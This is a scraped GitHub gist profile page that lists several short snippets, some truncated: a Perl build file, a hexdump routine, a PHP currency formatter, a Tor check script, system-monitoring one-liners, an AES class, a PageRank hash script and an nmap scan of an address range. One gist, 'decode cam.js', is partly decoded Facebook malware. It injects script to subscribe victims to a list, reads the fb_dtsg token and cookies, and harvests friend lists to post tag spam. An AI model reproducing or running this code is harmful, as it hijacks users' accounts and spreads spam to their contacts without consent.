Skip to content

Instantly share code, notes, and snippets.

View windows98SE's full-sized avatar
:shipit:
it's good, to be bad.

windows98SE windows98SE

:shipit:
it's good, to be bad.
View GitHub Profile
C:\Users\Admin\Desktop>nmap -p 80 -T4 -n -Pn --open --script D:/Dropbox/All/3bb-info.nse 183.???.???.0/24
Starting Nmap 6.40 ( http://nmap.org ) at 2014-02-06 03:22 SE Asia Standard Time
.
.
CUT
.
.
@windows98SE
windows98SE / Perl.sublime-build
Created April 6, 2014 14:11
Perl.sublime-build
{
"cmd": ["perl", "-w", "$file"],
"file_regex": ".* at (.*) line ([0-9]*)",
"selector": "source.perl",
"path": "/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/opt/X11/bin"
}
@windows98SE
windows98SE / hexdump.pl
Created April 9, 2014 09:58
[perl] hexdump
#!/usr/local/bin/perl
sub hexdump{
my $data = $_[0];
my $len = length($data);
#hex, content
my $buf_hex = uc(unpack('H*', $data));
$buf_hex =~ s/\G(..)/$1 /g;
my $buf_content = $data;
<?php
$number = '12345678';
function format($number, $len=3, $symbol='฿', $thousand=',', $right=true){
$result = implode($thousand, array_reverse(array_map('strrev', str_split(strrev($number), $len))));
return ($right)?$result.$symbol:$symbol.$result;
}
print format($number, '4');
@windows98SE
windows98SE / ip
Last active August 29, 2015 13:59
ip
#!/bin/bash
tor_network=`curl --silent --socks5-hostname 127.0.0.1:9015 http://reip.stephack.com | awk '{print $1}'`
if [[ $tor_network =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
then
echo "TOR >> $tor_network"
else
echo "NO TOR CONNECTION"
fi
@windows98SE
windows98SE / cpu_info
Last active August 29, 2015 14:00
cpu info mac osx
myCPU=`top -l 1 | awk '/CPU usage/ {print $3}' | sed s/%//`
myCPU=`echo "tmp=$myCPU; tmp /= 1; tmp" | bc`
typeset -i b=9
echo "CPU Usage \c"
while [ $b -lt $myCPU ]
do
echo "|\c"
b=`expr $b + 10`
done
@windows98SE
windows98SE / cam.js
Created April 19, 2014 19:03
decode cam.js
function IbraheemNada(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a)
}
IbraheemNada("600956029990265");
var _0xa22c = ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "283190978515002", "onreadystatechange", "readyState", "arkadaslar = ", "for (;;);", "", "replace", "responseText", ";", "length", "entries", "payload", "round", " @[", "uid", ":", "text", "]", " ", "\x26filter[0]=user", "\x26options[0]=friends_only", "\x26options[1]=nm", "\x26token=v7", "\x26viewer=", "\x26__user=", "https://", "indexOf", "URL", "GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1", "open", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1", "send", "random", "floor", "\x26ft_ent_identifier=", "\x26comment_text=", "\x26source=2", "\x26client_id=1377871797138:1707018092", "\x26reply_f
@windows98SE
windows98SE / download-upload.sh
Created April 27, 2014 06:33
download upload
sar -n DEV 1 7 | grep -i 'average.*en0'| awk '{printf "Download: %.2f Kbps\nUpload: %.2f Kbps\n", $4 / 1024, $6 / 1024 }'
@windows98SE
windows98SE / aes.py
Created June 27, 2014 08:27
AES Class Python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import string
import random
import base64
from Crypto.Cipher import AES
BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
var anytechPageRank={cache:{data:{},getElement:function(a){var b=this.data;if(b[a]){return b[a].value}return undefined},isSet:function(a){var b=this.data;if(b[a]){if(new Date().getTime()>b[a].time){delete b[a]}else{return true}}return false},setElement:function(a,b){this.data[a]={value:b,time:new Date().getTime()+(typeof b=="undefined"?1000:3600*1000)}}},byteToHex:function(a){return a<16?"0"+a.toString(16):a.toString(16)},intToHex:function(a){return this.byteToHex(a>>>24)+this.byteToHex(a>>>16&255)+this.byteToHex(a>>>8&255)+this.byteToHex(a&255)},hash:function(a){var c=16909125;var d="Mining PageRank is AGAINST GOOGLE'S TERMS OF SERVICE. Yes, I'm talking to you, scammer.";for(var b=0;b<a.length;b++){c^=d.charCodeAt(b%d.length)^a.charCodeAt(b);c=c>>>23|c<<9}return this.intToHex(c)},getGoogleURL:function(b){b=this.prepareURL(b);var c=/^https:\/\/[^\/]*[\/]?/i.exec(b);if(c){b=c[0]}var a="http://toolbarqueries.google.com/tbr?";a+="client=navclient-auto";a+="&ch=8"+this.hash(b);a+="&features=Rank";a+="&q=info:"+en